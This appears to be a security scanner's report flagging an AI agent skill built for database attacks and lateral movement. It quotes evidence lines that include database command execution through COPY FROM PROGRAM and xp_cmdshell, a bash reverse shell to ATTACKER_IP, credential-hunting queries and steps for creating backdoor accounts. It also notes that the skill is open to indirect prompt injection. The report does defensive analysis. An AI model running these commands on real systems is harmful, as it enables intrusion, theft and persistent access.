Full Analysis
- [COMMAND_EXECUTION]: The skill provides explicit instructions for executing system-level commands through various database engines.
- Evidence in
references/dblink-lateral.md: PostgreSQLCOPY FROM PROGRAM 'id'and MSSQLEXEC ('xp_cmdshell ''whoami'''). - [REMOTE_CODE_EXECUTION]: The skill includes instructions for establishing reverse shells to gain full system control.
- Evidence in
references/dblink-lateral.md:$$COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'$$. - [DATA_EXFILTRATION]: Instructions cover scanning databases for sensitive credentials, secrets, and tokens to facilitate further attacks.
- Evidence in
SKILL.md: Queries targetinginformation_schema.columnsforpass,secret, andtokenpatterns. - [PRIVILEGE_ESCALATION]: The skill guides the user to check for and utilize high-privilege accounts (superuser, sa, root) to enable restricted extensions like
dblinkorxp_cmdshell. - Evidence in
SKILL.md: "当前是 superuser/sa/root 吗?(非特权用户通常无法创建 dblink)". - [PERSISTENCE]: The skill mentions creating backdoor accounts and triggers to maintain access to compromised database environments.
- Evidence in
SKILL.md: Phase 4 instructions include "持久化 — 创建后门账号、触发器". - [INDIRECT_PROMPT_INJECTION]: The skill possesses a significant attack surface as it is designed to ingest and process data from untrusted external databases.
- Evidence in
references/dblink-lateral.md: Use ofdblinkandpostgres_fdwto import and query schemas from remote, potentially attacker-controlled, servers.
